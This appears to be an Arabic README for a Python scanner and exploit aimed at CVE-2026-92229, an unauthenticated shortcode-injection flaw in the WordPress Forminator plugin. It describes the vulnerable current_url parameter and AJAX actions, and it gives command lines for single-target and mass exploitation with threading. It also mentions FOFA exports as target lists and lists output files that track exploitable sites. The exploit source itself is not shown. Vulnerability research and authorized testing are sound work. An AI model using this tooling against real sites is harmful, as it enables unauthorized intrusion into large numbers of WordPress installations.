
ماسح PoC واستغلال بلغة Python للثغرة CVE-2026-92229، وهي ثغرة تنفيذ شورت كود عشوائي دون مصادقة في إضافة Forminator لـ WordPress الإصدارات 1.57.2 وما دون.
أداة فحص/استغلال بلغة Python 3 لـ CVE-2026-92229 في Forminator (WPMU DEV).
| الإضافة | forminator |
| المتأثرة | ≤ 1.57.2 |
| تم الإصلاح في | 1.57.3+ |
| CVSS | 9.1 (حرجة) |
| المصادقة | بدون مصادقة |
| المتجه | معامل POST current_url (AJAX الاختبار) |
| CWE | CWE-94 (حقن الكود) |
| الفضل | Kuba (Wordfence) |
في الإصدارات المصابة، ينعكس current_url المقدم من المستخدم في HTML نتيجة الاختبار (مثل سمات المشاركة الاجتماعية) وتتم معالجة مخزن الاستجابة باستخدام do_shortcode() الخاص بـ WordPress. يمكن لمهاجم غير مصادق عليه إرسال اختبار عبر admin-ajax.php باستخدام current_url خبيث يتضمن شورت كود عشوائي.
إجراءات AJAX الرئيسية:
forminator_submit_form_quizzesforminator_submit_preview_form_quizzes (معاينة؛ --preview)تم الإصلاح في 1.57.3 عن طريق تقييد تنفيذ الشورت كود على حقول النص المقصودة بدلاً من مخزن HTML الكامل.
pip install -r requirements.txtpip install -r requirements.txt
# Detect plugin, version, public Forminator modules (quiz answers when parseable)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (auto nonce + quiz answers when possible)
python poc.py -u https://target.example --mode exploit \
--page-url /quiz/ --form-id 42 \
--shortcode "PROBE"
# Preview submit (no stored entry, same code path)
python poc.py -u https://target.example --mode exploit --preview \
--page-url /quiz/ --form-id 42
# Manual quiz answers if HTML parsing fails
python poc.py -u https://target.example --mode exploit \
--form-id 42 --answers "2051:7608,2052:7610"
| الخيار | الوصف |
|---|---|
-u, --url | عنوان URL الأساسي لهدف واحد |
--list | ملف يحتوي على عنوان URL واحد في كل سطر |
--mode | check (افتراضي) أو exploit |
--page-url | مسار الصفحة أو عنوان URL الذي يحتوي على النموذج |
--form-id | معرف وحدة Forminator |
--form-type | quizzes أو custom-forms أو poll |
--answers | إجابات الاختبار بصيغة question_id:answer_id,... |
--shortcode | حمولة الشورت كود (مغلفة بـ [caption]…[/caption] داخل current_url) |
--preview | استخدام إجراء AJAX للمعاينة |
--threads, -j | تزامن الفحص الجماعي (افتراضي 20) |
--output | نتائج JSONL (افتراضي cve_2026_92229_results.jsonl) |
--vuln-list | ملف نصي لنتائج الفحص (افتراضي hits.txt) |
--candidates-list | بيانات JSONL الوصفية للفحوصات القابلة للاستغلال (افتراضي candidates.jsonl) |
--quiet | تقليل ضوضاء التقدم في التشغيلات الجماعية |
| الملف | المحتوى |
|---|---|
cve_2026_92229_results.jsonl | JSON لكل هدف (status, version, modules, …) |
hits.txt | عناوين URL الأساسية مع exploitable_candidate: true |
candidates.jsonl | تفاصيل الإصابة: form_id, page_url, form_type |
status الشائعة| الحالة | المعنى |
|---|---|
candidate | إصدار مصاب + اختبار مع إجابات محللة |
form_no_quiz_answers | تم العثور على النموذج لكن إجابات الاختبار لم تُحلل تلقائياً |
plugin_no_public_form | الإضافة موجودة، لم يتم اكتشاف وحدة عامة |
patched | الإصدار ≥ 1.57.3 (أو إصدار رئيسي أحدث) |
no_plugin | لم يتم اكتشاف Forminator |
exploitable_candidate فقط عندما يمكن تحليل answers[qid] الخاصة بالاختبار من HTML (العديد من المواقع تستخدم اختبارات معروضة بـ JS → استخدم --answers أو الاستغلال اليدوي).[caption])..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
قوائم الفحص الجماعي المحلية (مثل list.txt، صادرات FOFA، نتائج *.jsonl) مدرجة في .gitignore ولا ينبغي إيداعها.
لـ اختبار الأمان المصرح به فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد البرنامج.